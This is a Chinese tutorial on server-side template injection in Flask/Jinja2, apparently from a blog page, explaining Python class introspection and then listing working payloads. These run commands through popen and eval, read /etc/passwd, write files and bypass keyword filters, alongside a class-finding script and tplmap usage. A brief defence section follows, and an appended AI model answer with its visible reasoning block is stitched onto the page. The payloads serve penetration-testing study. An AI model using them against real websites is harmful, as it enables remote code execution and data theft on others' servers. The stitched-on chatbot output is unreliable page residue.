SSTi模板注入漏洞

SSTI漏洞详解

1.SSTI含义
SSTI是一种注入类的漏洞,其成因也可以类比SQL注入。
SQL注入是从用户获得一个输入,然后用后端脚本语言进行数据库查询,利用输入来拼接我们想要的SQL语句。SSTI也是获取一个输入,然后在后端的渲染处理上进行语句的拼接执行。
但是和SQL注入不同的,SSTI利用的是现有的网站模板引擎,主要针对Python、PHP、JAVA的一些网站处理框架,比如Python的jinja2、mako、tornado、Django,PHP的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候,在过滤不严情况下,通过构造恶意输入数据,从而达到getshell或其他目的。
一句话就是服务端在接收用户输入或用户可控参数后,未作处理或未进行严格过滤,直接嵌入模板渲染,导致执行恶意代码。
2.模板引擎含义
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎会生成一个标准的HTML文档。
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。
也就是说,模板引擎会提供一套生成HTML代码的程序,然后只需要将获取到用户数据放到渲染函数里,就会生成前端HTML页面,反馈给浏览器,呈现在用户面前。
工作具体步骤:
1.利用一些方法(例如正则表达式),分解出普通字符串和模板标识符。
2.将模板标识符转换成普通的语言表达式。
3.生成待执行语句。
4.将数据填入执行,生成最终的字符串。
3.基础知识
3.1.Python
Python是面向对象的编程语言,所以同样有着类,对象和继承属性,而这种SSTI就充分利用了这些。
Python中,大部分是依靠基类->子类->危险函数的方式来利用SSTI的,接下来先说几个知识点。

__class __

万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class ‘str’>。
在这里插入图片描述

__bases __
以元组的形式返回一个类所直接继承的所有类。
__base __
以字符串返回一个类所直接继承的类。
__mro __
返回解析方法调用的顺序。
在这里插入图片描述
可以看到__bases__返回了test()的两个父类,__base_返回了test()的第一个父类,__mro__按照子类到父类到父类解析的顺序返回所有类。
__subclasses __()
获取类的所有子类。
在这里插入图片描述
__init __
所有自带带类都包含init方法,便于利用他当跳板来调用globals。
__globals __
function.__globals __,用于获取function所处空间下可使用的module、方法以及所有变量。
在这里插入图片描述
3.2.Flask
Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。
Flask 提供工具,库和技术来允许构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
Flask简单示例
flask简单易学,下面代码是flask版的hello world
from flask import Flask
app = Flask(__name __)
@app.route("/")def hello():
return “Hello World!”
if __name __ == “__main ____”:
app.run()

简单说下上面代码,第1、2行是初始化过程。3-5行是使用Flask提供的app.route修饰器,把修饰的函数注册为路由。简单讲就是当访问http://xxx.xx.xx/时,使用hello函数进行处理响应。

3.3.Jinja2
jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。
在jinja2中,存在三种语:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等
jinja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。
被两个括号包裹的内容会输出其表达式的值。
4.利用思路
1.随便找一个内置类对象用__class__拿到他所对应的类
2.用__bases__拿到基类(<class ‘object’>)
3.用__subclasses__()拿到子类列表
4.在子类列表中直接寻找可以利用的类getshell
5.接下来只要找到能够利用的类(方法、函数)就好

寻找利用类方法:

num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
    try:
        if item.__init__.__globals__.keys():
            if '__builtins__' in  item.__init__.__globals__.keys():
                print(num,item,'__builtins__')
            if  'os' in  item.__init__.__globals__.keys():
                print(num,item,'os')
            if  'linecache' in  item.__init__.__globals__.keys():
                print(num,item,'linechache')
        num+=1
    except:
        num+=1

直接使用popen(python2不行)
os._wrap_close类里有popen。

"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()

在这里插入图片描述
使用os下的popen
linecache类里有os。

"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()

使用__import__下的os(python2不行)

__import__类里有os

"".__class__.__bases__[0].__subclasses__()[76].__init__.__globals__['__import__']('os').popen('whoami').read()

在这里插入图片描述

__builtins__下的多个函数
__builtins__类里有eval,__import__等函数,可以利用此来执行命令。

"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

在这里插入图片描述
在这里插入图片描述
python3
#命令执行:
原理就是找到含有__builtins__的类,然后利用。
利用这条payload:

{{%22%22.__class__.__mro__[1].__subclasses__()[308].__init__.__globals__}}

对308进行爆破,直到找到了包含__builtins__的类,或者直接这样的

{{%22%22.__class__.__mro__[1].__subclasses__()[308].__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()")}}

(<class ‘warnings.catch_warnings’>类在内部定义了_module=sys.modules[‘warnings’],然后warnings模块包含有__builtins__)

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{
{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }
}
{% endif %}
{% endfor %}

在这里插入图片描述
#文件操作

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{
{ c.__init__.__globals__['__builtins__'][open]('filename', 'r').read() }
}
{% endif %}
{% endfor %}

python2
#读文件:

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

#写文件:

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

新手最好还是用tplmap
建议从github存储库克隆该工具来安装Tplmap
git clone https://github.com/epinna/tplmap
下载完成后切换到tplmap目录下,运行
./tplmap.py -u
执行命令后,会测试目标url查找代码注入机会
在这里插入图片描述
5.关键字过滤
过滤引号:
通过python自带函数来绕过引号,这里使用的是chr()
首先fuzz一下chr()函数在哪:
payload:

{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

在这里插入图片描述
通过payload爆破subclasses,获取某个subclasses中含有chr的类索引,可以看到爆破出来很多了,这里我随便选一个。

{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}

接着尝试使用chr尝试绕过后续所有的引号:

{%set+chr=[].__class__.__bases__[0].__subclasses__()[95].__init__.__globals__.__builtins__.chr%}
{{[].__class__.__mro__[1].__subclasses__()[303].__init__.__globals__[chr(95)%2bchr(95)%2bchr(98)%2bchr(117)%2bchr(105)%2bchr(108)%2bchr(116)%2bchr(105)%2bchr(110)%2bchr(115)%2bchr(95)%2bchr(95)]}}

在这里插入图片描述
过滤中括号:
回看最初的payload,前边两个中括号都是为了从数组中取值,而后续的中括号实际是不必要的,globals[“os”]可以替换为globals.os。
在这里插入图片描述
过滤关键字:
主要看关键字怎么过滤的,如果只是替换为空,可以尝试双写绕过,如果直接ban了,就可以使用字符串合并的方式进行绕过。
使用中括号的payload:

{{""["__cla"+"ss__"]}}

不使用中括号的payload:

{{"".__getattribute__("__cla"+"ss__")}}

getattribute来获取字典中的value,参数为key值。
6.防护措施
和其他的注入防御一样,绝对不要让用户对传入模板的内容或者模板本身进行控制。
减少或者放弃直接使用格式化字符串结合字符串拼接的模板渲染方式,使用正规的模板渲染方法。

<think>好的,我现在需要处理用户关于SSTI(服务器端模板注入漏洞的查询。用户想了解其原理及防御措施。首先,我要确保自己正确理解SSTI的基本概念。 根据引用[5],SSTI漏洞是因为服务端接收了用户的恶意输入后,未经处理就作为模板内容的一部分,导致模板引擎编译时执行了恶意代码。这点是关键,需要解释清楚。接下来,我需要说明原理,可能分步骤:用户输入被嵌入模板模板引擎处理时解析了恶意代码,导致攻击。例如,用户输入`{{7*7}}`如果返回49,说明存在漏洞。 然后,防御措施部分需要结合多个引用。引用[1]提到不要让用户控制模板内容,使用正规的渲染方法。引用[3]建议限制模板的访问权限,引用[2]提到输入验证、白名单过滤等。引用[5]提到不同语言的常见模板引擎,可能需要具体说明防御措施适用于这些引擎。 需要注意用户要求回答结构清晰,分点说明。可能先讲原理,再讲防御,每个部分用条目列出。同时,确保使用正确的中文术语,避免技术术语错误。 可能的问题点:是否遗漏了某些防御措施?比如引用[4]提到的靶场练习,虽然重要,但可能属于实践部分,不是直接的防御措施。需要确认是否需要包含。 另外,用户提供的引用中有重复的内容,需要整合。例如,输入验证、白名单、限制访问、使用安全模板方法等。需要将这些综合起来,分点说明。 最后,生成相关问题,需围绕SSTI漏洞,比如不同引擎的利用方式、检测方法、案例等。确保问题相关且有助于用户进一步学习。 总结步骤:1. 解释SSTI原理,2. 详细说明防御措施,3. 生成相关问题。需要引用正确的来源,并在回答末尾添加引用标识。</think>### SSTI(服务器端模板注入漏洞原理及防御措施 #### **一、原理** 1. **漏洞成因** SSTI漏洞是由于服务端将用户的恶意输入直接嵌入模板中,未经处理即由模板引擎解析执行。例如,用户输入如`{{7*7}}`,若返回`49`则表明模板引擎执行了该表达式,漏洞存在[^5]。 $$ \text{恶意代码} \rightarrow \text{模板引擎解析} \rightarrow \text{执行危险操作} $$ 2. **攻击流程** - 攻击者通过参数、表单等提交包含模板语法的恶意输入(如`{{config}}`)。 - 服务端错误地将输入拼接到模板中,模板引擎将其视为合法代码编译执行。 - 攻击者可读取敏感数据(如数据库密码)、执行系统命令,甚至控制服务器[^2][^5]。 3. **影响范围** 漏洞危害程度取决于模板引擎的功能复杂度。例如: - **Python(Jinja2)**:可通过`{{''.__class__.__mro__}}`访问类方法。 - **PHP(Twig)**:可能利用`{{_self.env.registerUndefinedFilterCallback("exec")}}`执行命令。 --- #### **二、防御措施** 1. **输入过滤与验证** - 对用户输入进行**严格白名单过滤**,禁止包含模板语法字符(如`$`、`{{}}`)。 - 使用正则表达式检测危险符号,例如匹配`\{\{.*\}\}`并拦截[^2]。 2. **安全的模板渲染方法** - 避免直接拼接用户输入到模板,改用**上下文变量传递**。例如在Flask中: ```python return render_template("index.html", content=user_input) # 安全:变量通过上下文传递 ``` 而非`render_template_string(user_input)`[^1][^5]。 3. **最小化模板引擎权限** - 禁用模板引擎的危险功能,如Jinja2的`{% debug %}`或访问内置对象(如`__builtins__`)。 - 配置模板沙箱环境,限制文件读写和系统调用[^4]。 4. **访问控制与审计** - **限制模板文件修改权限**,仅允许管理员或可信用户操作[^3]。 - 定期进行**安全审计**,检查模板渲染逻辑是否存在注入风险。 5. **框架与组件更新** - 及时升级模板引擎版本,修复已知漏洞(如Jinja2旧版本的沙箱逃逸问题)。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值